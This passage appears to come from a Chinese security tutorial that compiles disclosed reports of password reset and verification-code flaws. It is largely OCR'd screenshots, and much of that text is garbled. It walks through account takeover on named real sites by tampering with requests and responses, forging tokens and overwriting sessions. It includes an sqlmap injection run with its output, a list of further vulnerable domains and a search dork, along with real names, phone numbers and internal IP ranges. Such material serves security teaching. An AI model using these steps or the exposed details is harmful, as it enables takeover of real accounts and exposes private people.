🕽 订单查询	以下资料为您在上述	9电信办理业务时留下的用户信息	1. 如与您的实际信息不符,	青您前往营业厅进行更正。	
2011年1月1日日 予題 一 充 値 交 费	用户姓名:	李鵬飞		设备号码:	13371896651
1 业务九理	当前状态:	活动		最后状态变更时间:	2007-09-28
	号码类型:			入网日期(装机日期):	2007-09-28
¥ 积分版分 ──	套繦名称:	2010天翼总机服务	2010天翼总机服务移动分机39本地套餐,39元/		2014-01-01
百事通卡		月(政企)	月(政企)		
回 翼支付	套餐结束日期:	2015-12-31		所属品牌:	CDMA后付费



sh.189.cn/service/AccountManageAction.do?method=init 🛛 🕜 🏠 🔯 🗃						● ☆ 🔯 百度
			热门搜索	荣: iPhone 5s 宽	带 Jyoung 三星	
首页	天翼卖场 👔	机惠 宽带专区	老用户专区	自助服务	积分俱乐部	■ 订单快速查询
8	用户中心	现在位置: 首页 > 自助朋	服务 > 客户信息管理			
ñ	客户信息管理 >	基本资料	我的服务信息	密码	的管理 UIII卡约	类型查询
ā,	费用查询					
)	订单查询	以下资料为您在上海时	电信办理业务时留下的用	户信息,如与您的	1实际信息不符,请您前往营业	上厅进行更正。
31	充值交费	用户姓名:	牛渝		设备号码:	13391108941
6	业冬市理	当前状态:	活动		最后状态到	变更时间: 2004-05-25
0	TT-1100-F	号码类型:			入网日期(	装机日期): 2004-05-25
R	积分服务	套褐名称:	2012天翼乐:	2012天翼乐享3G套餐聊天版129元/月(主卡)		日期: 2012-08-01
	百事通卡	套餐结束日期:	2014-07-31		所属品牌:	CDMA后付费
-	翼支付					+ 加入我的工



修复方案:

服务器端验证用户提交,对用户增加随机值绑定。。。

b. 账号与邮箱账号的绑定

案例:和讯网修改任意用户密码漏洞

和讯网修改任意用户密码漏洞(非爆破)

详细说明:

和讯网通过邮箱修改密码,可以修改任意用户密码

通过邮箱找回密码



找回密码	1			
<b>1</b> 确认账号	<b>—</b>	<b>——</b> 3 完成		
68451000@	qq. com			
aq56p3	ac	5603		
提 交				

点击重新发送邮件

	如有
找回密码	
确认账号 验证 完成	
通过绑定的邮箱 安全链接将发生到您绑定的邮箱	
w件已发送 请到***451000@gg.com查阅	
点击邮件中的链接重设您的登录密码	
<b>去邮箱收信</b> 点击重新发送邮件	
没收到邮件? ·请先检查是否在垃圾邮件中。如果还未收到,请重新发送邮件	

# 拦截请求,修改成自己的邮箱

Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
POST / <mark>r</mark> est/ajaxlogin.aspx HTTP/1.1	
Host: <mark>r</mark> eg.hexun.com	
Connection: keep-alive	
Content-Length: 85	
Accept: */*	
O <mark>r</mark> igin: https:// <mark>r</mark> eg.hexun.com	
X- <mark>R</mark> equested-With: XMLHttp <mark>R</mark> equest	
Use <mark>r</mark> -Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Ch <mark>r</mark> ome/39	.0.2171.95
3afa <mark>r</mark> i/537.36	
Content-Type: application/x-www-fo <mark>r</mark> m-u <mark>r</mark> lencoded	
Refe <mark>rer</mark> : https:// <mark>r</mark> eg.hexun.com/getpasswo <mark>r</mark> d_email.aspx?act=e	
Accept-Encoding: gzip, deflate	
Accept-Language: zh-CN,zh;q=0.8	
Cookie: vjuids=19b123785.14ad76f553e.0.0e17e981; ASP.NET_SessionId=ovzv05gqjvm1zfezx0z0mjk5;	
<pre>hxck_sqkf_home_userbind_tip=1; hxck_sq_home_logincout25724622=1 20150111; vjlast=1420953605.1420</pre>	1953605.30;
hxck_sq_home_logincout24935653=1 20150111;	
<pre>ffexunTrack=SID=2015010822214307453351eb04bc540349a1bce24d41cc03d&amp;CITY=0&amp;TOWN=0; userToken=0; hxc</pre>	<pre>k_fsd_lcksso=0;</pre>
LoginStateCookie=0; SnapCookie=0; hexunGoUrl=http://hexun.com/newhome/set/remind; hxck_sq_common	=SnapCookie=
email=68451000%40qq.com&name=%E8%8A%B1%E4%B8%80%E8%8A%B1&id=18435796&act=sendpwdemail	

修改成自己的邮箱

进入自己的邮箱,点击链接,修改成功



登陆两个账户看看

修改



#### 2.5.8 找回步骤

a. 跳过验证步骤、找回方式,直接到设置新密码页面

案例:中国电信某 IDC 机房信息安全管理系统设计缺陷致使系统沦陷

中国电信某 IDC 机房信息安全管理系统设计缺陷致使系统沦陷 监控大量 IP 段 详细说明: 企业侧互联网综合管理平台 180.96.19.196:8080/ucenter 重置密码漏洞: 输入用户名,截包,将 step 改为4即可



监控的 IP 段:



```
\begin{array}{l} 61.\ 155.\ 8.\ 1-61.\ 155.\ 8.\ 255\\ 61.\ 155.\ 11.\ 1-61.\ 155.\ 11.\ 127\\ 61.\ 155.\ 237.\ 1-61.\ 155.\ 237.\ 255\\ 61.\ 155.\ 238.\ 1-61.\ 155.\ 238.\ 255\\ 180.\ 96.\ 18.\ 1-180.\ 96.\ 18.\ 255\\ 61.\ 132.\ 74.\ 1-61.\ 132.\ 74.\ 255\\ 61.\ 132.\ 75.\ 1-61.\ 132.\ 75.\ 255\\ 61.\ 155.\ 5.\ 1-61.\ 155.\ 5.\ 255\\ 61.\ 155.\ 6.\ 1-61.\ 155.\ 7.\ 255\\ 61.\ 155.\ 9.\ 1-61.\ 155.\ 9.\ 255\\ 61.\ 155.\ 106.\ 1-61.\ 155.\ 106.\ 255\\ 61.\ 155.\ 107.\ 1-61.\ 155.\ 107.\ 255\\ 61.\ 155.\ 236.\ 1-61.\ 155.\ 236.\ 255\\ \end{array}
```

- 150 180 90 19 190 S	Usu/ucenter/index/indexAct	ionlindexaction				U U		G	
🔲 信息多	安全管理系统	1						1	to do a fit o state
2017: admint系統管理的 2章 快捷 历史 	10 【	基础数据异常监制 阿贡访问	180经营业管理 运营的	钢肉管理					新增 导
-IDO/188-BANK	机房名称: 全部	<ul> <li>机房性质: 全部</li> </ul>	<ul> <li>置到状态: 全部</li> </ul>	B •	接索 重 罟				
いのでなれた世辺	IDC经营单位名称	机房名称	机防编号	所在区域	机房性质	机防地址	机房管理员信息	监测状态	擬作
用印管理	江苏南京苜蓿园100…	南京电信IDC中心	32010330000001	江苏省-南京市-市辖区	白達	中国南京市1213	胡麗春	开启	e 🗙 🖾
川田田城管理									
服务器管理									
城名管理									
>应用服务管理 >IF地址管理									
监测日志									
n bit who who will									

属于南京电信 IDC 中心 有各种各样的监控功能

·) = / · · · · · ·	a. 140:0000/ ucenter/index/inde	sAction lindex action								<b>NU U U U</b>	0. • 0. • · · ·
□ 信息	安全管理系统										💡 🖬 180 🖉 s
· 您好: admin(系统管管 <b>集集</b> · 执徒 历:	(5) 2 (1) 11 (1) (1) (1) (1) (1) (1) (1) (1) (1) (	邮件访问	微速率计	网络海道捕鸟	波道利用特计	就动给你愿意念到	法法信申监到				
品 资源管理		2 会部	•	1 2400 270 80	备案类型:全部	and the second second second	•	网络古IP:		<b>域名</b> :	搜索
11日本	GRAE TP	14.0		首次任祖时	a	品后长期时间	a	盛い大用	古安大司	报本	52-0:
)未音案域名监测	116. 28. 100. 40	1411		2013-09-27 0	P1 19:28:42	2013-09-27 05	9 1:28:42	正常	未音楽	未封進	(A)
▶:未备案IP监测	116. 28. 100. 226			2013-09-27 0	09:28:42	2013-09-27 09	:28:42	正常	未备案	未封端	2)
》基础数据异常监测	116. 28. 100. 81			2013-09-27 (	19:28:42	2013-09-27 05	1:28:42	正常	未备案	未封编	<b>2</b>
》违法信息监测	116. 28. 100. 243			2013-09-27 0	9:28:42	2013-09-27 05	:28:42	正常	未备案	未封堵	<b>4</b> 3
》违法信意统计	183. 129. 135. 35			2013-09-27 0	09:28:42	2013-09-27 09	28:42	正常	未备案	未封雄	<b>(</b> ]
😹 第略管理	116.28.100.134			2013-09-27 (	9:28:42	2013-09-27 09	1:28:42	正常	未量案	未封端	<b>(</b> ]
三 过渡日志	116. 28. 100. 125			2013-09-27 (	9:28:42	2013-09-27 09	28:42	正常	未备案	未封捕	2
· 指令管理	116. 28. 100. 220			2013-09-27 (	9:28:42	2013-09-27 05	28:42	正常	未養素	未封堵	<b>@</b> ]
- Starat	116. 28. 100. 34			2013-09-27	9:28:42	2013-09-27 09	:28:42	正常	未备案	未封境	<b>@</b>
Co Audita	116. 28. 100. 24			2013-09-27 (	19:28:42	2013-09-27 09	28:42	正常	未备案	未封捕	<b>6</b>
● 统计分析	<116. 28. 100. 154			2013-09-27 0	19:28:42	2013-09-27 05	28:42	正常	未音楽	未封爆	<b>#</b>
🔒 虛拟身份	116. 28. 100. 175			2013-09-27 0	19:28:42	2013-09-27 05	28:42	正常	未备来	未封堵	<b>(</b> )
业务处理	116. 28. 100. 108			2013-09-27 0	09:28:42	2013-09-27 06	1:28:42	正常	未备案	未封堵	<b>2</b> 3
<b>三</b> 系统信息											首页 上一页 1 下一页 尾页

2.5.9 本地验证

a. 在本地验证服务器的返回信息,确定是否执行重置密码,但是其返回 信息是可控的内容,或者可以得到的内容。

案例: oppo 重置任意用户密码漏洞(4)

oppo之前我自己发过重置的 3 次了,别人也以不同姿势重置了 N 次,简直.. 今天看到 noob 又提交了一个,于是再去看看。 审核的时候麻烦先帮我看看与 http://www.wooyun.org/bugs/wooyun-2014-069939 是否重 复,如重复勿过。

详细说明:

https://account.oppo.com/index.php?q=user/getbackpass&back=http%3A%2F%2Fwww.opp
o.com%2F

找回密码, 输入要找回的手机号, 以找回手机号: 13723782334 示例

https://account.oppo.com/index.php?q=user/confirmid&type=1&sign=e9fb209c9416fb0 312980c47c4537f0b

获取验证码-随便输入一个验证码,提交确认的时候 response 拦截

s://account.oppo.com/index.php?q=u: アロクロクトレーン 北回窓码	ser/confirmid&type=1&sigr=e9fb209c94:	16fb0312980c47c4537f0b
		` 注意这里,等下有用
0	2	3
输入帐户名	验证身份	重置密码
	系统已经将相关的短信验证码发送到您的F ————————————————————————————————————	F机 137******34,请输入短信验证
	码: 动证码: 1234 1	
	下一步	

收到响应:

HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Jul 2014 04:15:39 GMT Content-Type: text/html;charset=utf-8 Connection: keep-alive Vary: Accept-Encoding X-Powered-By: Zandy/1.0 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Mon, 28 Jul 2014 04:15:38 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Server-ID: web106 Content-Length: 56 {"flag":-4, "msg":"\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e"}

修改为:

 $\{"flag":1, "msg":"?q=user/resetPass&username=&type=1&sign=e9fb209c9416fb0312980 c47c4537f0b" \}$ 

HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Jul 2014 04:15:39 GMT Content-Type: text/html;charset=utf-8 Connection: keep-alive Vary: Accept-Encoding X-Powered-By: Zandy/1.0 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Mon, 28 Jul 2014 04:15:38 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Server-ID: web106 Content-Length: 56

{"flag":1,"msg":"?q=user\/resetPass&username=&type=1&sign=e9fb209c9416fb0312980c47c4537f0b"}

butps://account.oppo.com/inde     OPPO	ex.php?q=user/resetPass&username=&type=1&sign=e	9fb209c9416fb0312980c47c4537f0b	登录 MY OPPO
	2 	3	<b></b>
	设重新密码: 确定新密码:		
	提交		

Forward 出去响应包,即可绕过重置验证。

设置密码,直接提交,帐号密码为 13723782334: wooyun123





b. 发送短信等验证信息的动作在本地进行,可以通过修改返回包进行控制。

案例: 0PP0 修改任意帐号密码-2

1. 使用找回密码功能,输入指定要找回密码的帐户,本次测试以官方帐号"0PP0 社区"为例,使用抓包工具抓包

· · · · · · · · · · · · · · · · · · ·		Raw Params Headers Hex
<~返回登陆窗口		POST /sysadmin/htm/index.php?q=user/checkaccount HITP/1.1 x-requested-with: XMLHttpRequest Accept-Language: zh-cn Referer: http://account.oppo.com/sysadmin/htm/index.php?q=user/getb
以下步骤将会重置您  登录账号	的密码,您只需根据提示操作。首先	Accept: */* Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT Host: account.oppo.com Content-Length: 45 Proxy-Connection: Keep-Alive
		Pragma: no-cache Cookie: PHPSESSID=m&teivf2qoapf25n5fd3dickb1utma=17123 utmz=171233918.1363351647.3.3.utmcsr=account.oppo.com ut: php: OPPO_UNIVERSAL=68a3e669fef5f9e25d60bfb280887d11;ut; utmc=171233918; login=1;utma=140756514.2121045309.136 utmz=140756514.1363855900.3.3.utmcsr=oppo.com utmccn=(re utmb=140756514.6.10.1363855900;utmc=140756514 useracc=OPPO%E7%A4%BE%E5%8C%BA&smsact=getpass WVWW.WOOYUN.OFQ

返回如下数据包

HTTP/1.1 200 OK Server: nginx Date: Thu, 21 Mar 2013 08:57:30 GMT Content-Type: text/html:charset=utf-8 Connection: keep-alive Vary: Accept-Encoding X-Powered-By: Zandy/1.0 Expires: Non, 26 Jul 1997 05:00:00 GMT Last-Modified: Thu, 21 Mar 2013 08:57:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Server-ID: web106 Content-Length: 116

{"acctype": "0","userid": "6690531","username": "OPPO社区","email": "lixiaolin@oppo.com","mobile": "","mibao": ""}

www.wooyun.org

2. 将数据包中的 acctype 值改为 1, 去掉 email, 修改 mobie 为自己的手机号码

..... Server: nginx Date: Thu, 21 Mar 2013 09:16:21 GMT Content-Type: text/html;charset=utf-8 Connection: keep-alive Vary: Accept-Encoding X-Powered-By: Zandy/1.0 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Thu, 21 Mar 2013 09:16:21 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Server-ID: web106 Content-Length: 116 ٠ www.wooyun.org

继续提交

关信息	POST /sysadmin/htm/index.php?q=user/ajaxgetbackpass HTIP/1.1
<<返回登陆窗口	x-requested-with: AmLHttpRequest Accept-Language: zh-cn Referer: http://account.oppo.com/sysadmin/htm/index.php?q=user/getbackpass&back=/sysadmin/htm/i: Accept: */*
以下步骤将会重置您的密码,	Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NI 5.1; Irident/4.0; GIB7.4; .N. Host: account.oppo.com Content-Length: 49
登录账号 OPPC	Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: PHPSESSID=m8teivf2qoapf25n5fd3dickb1:utma=171233918.1958437211.1363250959.1 utmz=171233918.1363351647.3.3.utmcsr=account.oppo.com utmccn=(referral) utmcmd=refer php: OPPO_UNIVERSAL=68a3e669fef5f9e2560bfb280887d11:utmb=171233918.14.10.136385587 utmc=171233918; login=1:utma=140756514.2121045309.1363250923.1363347817.136385590 utmz=140756514.1363855900.3.3.utmcsr=oppo.com utmccn=(referral) utmcmd=referral utmc utmb=140756514.6.10.1363855900:utmc=140756514
	smsact=getpass&sendtype=getpass&mobile=150000type=1&userName=OPPO%E7%A4%BE%E5%8C
	www.wooyun.org

3. 自己的手机将会收到验证码,填入收到的验证码和新密码即可完成

重设您的帕	长户密码	
修改成功		
	您的密码已经修改成功!	
	您现在可以:	
	登陆账户	带我去首页



# 2.5.10 注入

# a. 在找回密码处存在注入漏洞。

案例:用友人力资源管理软件(e-HR)另一处 SQL 注入漏洞(通杀所有版本)

上一个注入由于不清楚到底是啥版本,只能让厂商自己去查了,赶脚挺愧疚的。 这次终于不用纠结版本问题了,因为通杀。。。 详细说明:

1. 漏洞出在[重置密码]功能这,密码找回输入用户处由于未进行过滤导致 SQL 注入漏洞。

2. 漏洞文件 http://x.x.x.x/hrss/rm/ResetPwd.jsp?

← → C [	ehr.creditcard.cmbc.com.cn/hrss/rm/ResetPwd.jsp?
	ehr.creditcard.cmbc.com.cn 上的网页显示:
	ORA-01756: 引号内的字符串没有正确结束
	确定
<b>请</b> 写下列信息,系	系统将生成的随机密码发送到您的信箱?
•)	用户 aaa'
	www.wooyun
3. 抓包丢 SG	QLMAP 里跑数据库名:
./sqlmap.p	y -r xx.txt
<code></code>	
POST /hrss	/dorado/smartweb2.RPC.d? rpc=true HTTP/1.1
Host: 59.1	73. 0. 46:8090
Proxy-Conn	ection: keen-alive
Content-Le	ngth: 582
Drogmot no	
Urigin: nt	tp://59.173.0.46:8090
User-Agent	: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.3
(KHTML, 1i	ke Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Ty	pe: application/x-www-form-urlencoded
Accept: */	*
Referer: h	ttp://59.173.0.46:8090/hrss/rm/ResetPwd.jsp?
Accept-Enc	oding: gzip, deflate, sdch
Accept-Lan	guage: zh-CN, zh;q=0.8, en;q=0.6
Cookie IS	FSSIONID=0000DnaIVInM5KUn8VfKWXZimgv·16sau0unt
tuno-und	ataDatak viewIngtangaId=na ha hraz vm DegetDegeword ^o ng ha hraz vm E
upe=upu	atebataa_viewinstanceiu-nc. bs. ni ss. in. kesetrassword nc. bs. ni ss. in. k
setPasswor	dViewModel&xml= <rpc met<="" th="" transaction="10"></rpc>
结果如下:	
[15:27:19]	[INFO] the back-end DBMS is Oracle
back-end D	BMS: Oracle

[15:27:19] [WARNING] schema names are going to be used on Oracle for enumeration

as the counterpart to database names on other DBMSes [15:27:19] [INF0] fetching database (schema) names [15:27:20] [INFO] the SQL query used returns 31 entries [15:27:21] [INFO] retrieved: APEX 030200 [15:27:21] [INFO] retrieved: APPQOSSYS [15:27:22] [INFO] retrieved: CTXSYS [15:27:23] [INFO] retrieved: DBSNMP [15:27:24] [INF0] retrieved: EFDC [15:27:25] [INFO] retrieved: EXFSYS [15:27:26] [INFO] retrieved: FLOWS FILES [15:27:27] [INF0] retrieved: IUF0 [15:27:28] [INF0] retrieved: IUF057 [15:27:29] [INF0] retrieved: JQ [15:27:30] [INF0] retrieved: MCCPT [15:27:31] [INFO] retrieved: MCCWK [15:27:32] [INF0] retrieved: MDSYS [15:27:33] [INF0] retrieved: NC57 [15:27:34] [INF0] retrieved: NC57ZYWK [15:27:35] [INF0] retrieved: NCPORTAL [15:27:36] [INF0] retrieved: OLAPSYS [15:27:37] [INFO] retrieved: ORDDATA [15:27:38] [INFO] retrieved: ORDSYS [15:27:39] [INF0] retrieved: OUTLN [15:27:40] [INFO] retrieved: OWBSYS [15:27:41] [INF0] retrieved: RMAN [15:27:42] [INF0] retrieved: SCOTT [15:27:42] [INFO] retrieved: SYS [15:27:43] [INFO] retrieved: SYSMAN [15:27:46] [INFO] retrieved: SYSTEM [15:27:47] [INF0] retrieved: V3XUSER [15:27:47] [INF0] retrieved: WMSYS [15:27:48] [INFO] retrieved: WX [15:27:49] [INFO] retrieved: XDB [15:27:50] [INFO] retrieved: ZYTJWK

#### 漏洞证明:

这次是通杀。。。

举个栗子:

http://ehr.creditcard.cmbc.com.cn/hrss/rm/RmMain.jsp?dsName=ncmshr 民生银行 http://zhaopin.cnooc.com.cn/hrss/rm/school/school_rmmain.jsp 中国海洋石油 http://zhaopin.genertec.com.cn/hrss/rm/social/SocialRmMain.jsp?pacode=cde2af480 416c279 中国通用

http://ehr.hgtech.com.cn/hrss/rm/RmMain.jsp?dsName=HRDB 华工科技 http://career.sdebank.com/hrss/rm/RmMain.jsp?dsName=sdns 顺德农商行 太多了[~]

google 关键字:

inurl:hrss/rm/

# 2.5.11 Token 生成

# a. Token 生成可控。

案例:天天网再一次重置任意账号密码(依旧非暴力)

上回的漏洞 今天发现修复了 不过修复跟没修一样 依旧利用现有的账号 输入正确的验证码 然后抓包分析

<b>1</b> 输入账户名	2 念证身份	3 重置密码	<b>一</b> 完成
	邮箱:2 <del>3100000</del> 1@qq.com	发送邮箱校验码	
1	交验码:		
	下一步		
<pre>bfd session id=bfd ==106029958.10411800.143306 tmc=1.180029585.7033646.1433061242073.1433061 tmd=1.186029585.7033646.1433061242073.; B1Gip LoginOzRegOftiantian=c4764885261748026446ace2ef LoginOzRegOftiantianEmail=a50e7343e305f179368e Connection: keep-alive Pragma: no-cache</pre>	12420668bfd_g=a7fcd4ae5266aa770000 242073.142306124073; tma=1060299 Serverpool_Login.tiantian.com=3580 1024bd0;oz1vd1978=1423061576; 1 2ab905d090c6	33326019ff03D54d320fa; 50.703346.143306124073.1423061242073 3537024.20400.0000; JoginOrRegOftiantianUser=tuser_4	.1423061242073.1; 
Cache-Control: no-cache Ajax_CallBackType=BizControls.user.verifyUserC	ontrol&Ajax_CallBackMethod=SubmitH	EmailCode&Ajax_CallBackArgumentO=&Ajax_	CallBackArgument1=841733
+ < >			
raw headers hex			
Date: Wed, 04 Feb 2015 15:21:52 GMT Content-Length: 70			
(value:["Success","1","e9	05/"],error:null}		

图中箭头方向的 cookie 值跟以前发生了变化 以前是明文邮箱 现在变成 32 位加密字符串 不过一看这字符串很眼熟 于是把我的 qq 邮箱 进行了一次 md5 加密发现一样

于是把 service@tiantian.com 进行 md5 加密一次 然后替换掉 cookie 值 成功返回了 用于 重置密码的最关键 字符串(详情可以看上一个漏洞)

bfd session id=bfd s=106029958.10411809.1423061242068&bfd g=a7fcd4ae5266aa7700003336019ff03b54d230fa;
tmc=1.106029958.77033646.1423061242073.1423061242073.1423061242073; tma=106029958.77033646.1423061242073.1423061242073.1423061242073.1;
tmd=1.106029958.77033646.1423061242073.; BIGipServerpool Login.tiantian.com=3580537024.20480.0000;
LoginOrRegOftiantian=c476d8e52617a8264d6ace2ef1024bd0; ozlvd1978=1423061576; LoginOrRegOftiantianUser=tuser 35302443f4c8735a66683b64c404c204;
LoginOrRegOftiantianEmail=a98e7343e309f179368e2ab905d090c6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Ajax_CallBackType=BizControls.user.verifyUserControl&Ajax_CallBackMethod=SubmitEmailCode&Ajax_CallBackArgumentO=&Ajax_CallBackArgumentI=841733
response
raw headers hex
Date: Wed, 04 Feb 2015 15:22:48 GMT
Content-Length: 70
<pre>{value:["Success","1","54</pre>

既然拿到了 字符串 接着就是重置密码了

验证身份	重置密码	完成
service@tiantian.com	● 看不清? ● 授一张	
	service@tiantian.com	ENLIGY ELECTRY service@tiantian.com ② 741s638 244 3658 程小帝?

上一个漏洞是 执行第一步 然后就可以直接重置密码 这次需要点击发送验证码后才能重置密码 也就是需要执行第二步

<b>1</b> 输入账户名	2 验证身份 重置密码	完成
	邮箱:service@tiantian.com 免费获取校验码	
	校验码: 请输入校验码 1 邮件已发送成功,请尽快查收!	
	下一步	

然后直接访问重置密码 url 进行密码重置

<b>1</b> 输入账户名	<b>2</b> 验证身份	3 重置密码	えん
	•••••	•	
	•••••	0	
	下一步		

密码被重置位 wooyun123



# 2.5.12 注册覆盖

a. 注册重复的用户名。

案例:中铁快运奇葩方式重置任意用户密码(admin 用户演示)

刚看到12306 用户泄漏,于是顺便走访了中铁快运的网站,站多处设计不合理,居然没有找回密码的功能。

详细说明:

http://www.95572.com/jsp/ywb1/zc.jsp

在注册用户时,如果先输入用户名,在鼠标离开后会进行用户名是否存在的校验,但是如果 把用户名留着最后输入,比如输入一个已有的用户名 admin,在鼠标离开输入框并点击提交 按钮后,虽然也会进行用户名是否存在的校验,但表单仍然提交上去了,这时候,我们会发 现我们已经以 admin 的用户登录进来了,这时候用户的密码被改为我们之前填写的密码,但 原用户的所有信息却没有改变,也就是说这时候我们获取了用户的信息,姓名、身份证、手 机号等等。

这时候我们也可以用修改的用户登录中铁快运商城的网站,在商城网站中我们也可以看到用户的一些资料。至于如果看到了用户的快递信息,以此来快递截单的可能性就不知道了。

可以自己实践,但我发现个问题,在网站登录页面居然没有找回密码的途径啊。可怜了 admin 这个用户了,如果测试了 admin 用户后,请记得发信息到他的手机上,告诉他新密码。



另一个情况,在用户信息页面和修改密码页面,我们通过页面源代码,居然可以看到数据库 的表名

<form name='form1' method='post' action='grzx_submit.jsp' target="grsubmit" onsubmit='return doValidate(form1)'>

<input name='_tablename' type='hidden' value='p_cremember'>
<input name="_action" type="hidden" value="update">
<input name="_pkfield" type="hidden" value="U_ID">
<input type="hidden" name="U_ID" value="admin" >....

这是页面部分源码,可以看到表名是 p_cremember, 表的主键是 U_ID, 如果网站存在 sql 注入漏洞的话,或许可以爆出全部用户资料。

修复方案:

最起码把注册的那个漏洞改了吧,后台加强校验吧

# 2.5.13 Session 覆盖

a. Session 覆盖

案例:聚美优品任意修改用户密码(非爆破)

可任意更改用户密码

详细说明:

通过自己账号忘记密码发送邮箱修改密码地址

28 已验证手机/44	3箱/用户名
青输入登录名,登录名;	可能是您的手机号、邮箱或用户名
- 密码	
✔ 自动登录	忘记密码
✔ 自动登录	忘记密译 登 录
✓ 自动登录 你也可以使用以下账号	忘记密¥ 登 录 登录

北凹名的			
0	2	6	<u> </u>
确认账号	验证身份	设置密码	完成
	选择验证身份方式: 〇	手机 💿 邮箱	
	您的用户名:JM1;	BONBHH2123	
	您的邮箱号码: 9**	**5@qq.com	
	L_JE	坐送************************************	

进入邮箱 不要打开

1	
辛受的	位 JM180NBHH2123:
AILOCH	
您正在申	h请找回您的密码,请点击下面的链接即可重新设置密码(链接2小时内有效)。
请小心情	验您的密码,以确保您的账户安全哦。
如果您不	「需要修改密码,请忽略本邮件。您的账户还是安全的。
请点击	这里修改密码
	neternet fra hundren hundren einen son hundre seinen her seine seinen her seine seinen seinen seinen seinen seine se
Reset%	6252FReset%253Fcode%253DGrafwae6Kvvv0xub1vK20WvYNbZAeP4eH80w2torr7EwBMa9s5EY8A%
25253	D%25253D%26referer=system reset passwd%26utm source%3Dedm system reset passwd%26

在同浏览器内打开网站还是忘记密码输入要修改的账号

0	2	<b>(3</b>	<b>⊘</b>
确认账号	验证身份	设置密码	完成
	选择验证身份方式: 🔵 手	机 💿 邮箱	
	您的用户名:cyj_8	29	
	您的邮箱号码: C****	*9@163.com	

这一步后停住



在同一浏览器中打开发到我们邮箱的链接



一定同一浏览器输入要修改的密码就 OK 了

← ♂ ๖・ http://passport.jumei.com/Reset/setPass		加速器 €☆ ▼ 輸入文字授業 0					
/ 🚖 收藏 🔊 网址导航 🤤 游戏中心 📄 实用查询 📄 淘宝购物 🔵 振	行金融 🛛 淘宝网						
🜇 WooYun.org   提交漏洞 🗙 🛛 🙆 收到 1封新邮件 👘 🗙 🖓 找回	玄码 × 🙆 聚美优品	品:密码重置 - 🤉 🗙 🗍 找回密码	x \[+]				
聚美代而 JUMEL.COM		Q 真品防伤码 ( ) 笑收满2'	件或299元包邮	ng			
找回密码	0	0	0				
确认账号	验证身份	设置密码	完成				
新亞 爾沃新亞	<ul> <li>登录密码         <ul> <li>① 密码不能为空</li> <li>登录密码</li> <li>提交</li> </ul> </li> </ul>						

成功进入

cyj_829 白金会员	我的订单									
用户ID: 11705017	有效订单	有效订单等待付		討款 已付款		交易完成	无效	τ		
我的聚美优品	我的聚美优品		订购商品	件数	单价	商品操作	订单金额	订单状态	订单操作	
■ 我的订单		T		1470.00	确认收货 D 再次购买	<b>¥248.00</b> (免运费)	口发也	查看订单 售后服务 申请退货		
★ 我的收藏	订单编号:1781944 下单时间:2014-12		1	¥179.00			包裹 (90737360) 海红快递 1412110033159 查看物流详情			
♥ 我的心愿单	付款时间:2014-12-02 00:31 付款时间:2014-12-02 00:31 由聚美优品发货		1901 1901	1	¥79.00				确认收货 再次购买	
🔒 我的会员等级										
我的现金券				1	¥580.00	确认收货 再次购买	<b>¥580.00</b> (免运费)	已发货           包裹 (90181662)           山东EMS           1119494443299           查看物流洋情	查看订单 售后服务 申请退货	
▶ 我的红包	订单编号: 176888332 下单时间: 2014-11-23 11:13 付款时间: 2014-11-23 11:16 由 聚美优品 发货									
我的金币										
100 我的邀请码										

# 2.6 验证码突破

验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。

### 2.6.1 验证码暴力破解

a. 使用 burp 对特定的验证码进行暴力破解

案例: 盟友 88 电商平台任意用户注册与任意用户密码重置漏洞打包

盟友 88 是一家集商铺推广与生活消费为一体的综合性网站。其主要业务跨越 B2B(business to business,商家对商家)、B2C(Business-to-Consumer商家对消费者)两大部分。 客服人员说郑州已经开始正常运营了。。。 业务逻辑设计缺陷导致

1.任意用户注册
 2.任意用户密码重置
 3.批量检测用户是否存在
 4.弱口令密码检测(123456)

详细说明:

1. 任意用户注册 测试帐号 1888888888
188999999999 http://passport.mengyou88.com/register

POST /register HTTP/1.1

Host: passport.mengyou88.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: */* Accept-Language: zh-cn, zh;q=0.8, en-us;q=0.5, en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://passport.mengyou88.com/register Content-Length: 47 Cookie: ASP.NET_SessionId=vv2tttqsqimw0dkt115ot235; Bianligou_CheckKey=086869CB8AF5FCACA7666518DCF50894; Bianligou_SCID=0; Bianligou_SCNUM=0; Bianligou_SCKEY=51992A6D13D023F91D3167E977D1B6D4 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache mobile=1888888888888888epasswd=test1234&vcode=111111

六位数字短信验证码

手机号码:	❷请输入手机号码
登陆密码:	◎ 请输入6位以上的密码
确认密码:	() () () () () () () () () () () () () (
验证码:	获取短信验证码
	<mark>同意条款并注册</mark> 《盟友88服务条款》
	我有账号,立即登录
台 HTML ✔ CSS 脚本 DOM 网络 Cookies Illu short > div.kv_item > form > div.reg.clearfix > div.reg	iminations gister > div.container > body > html
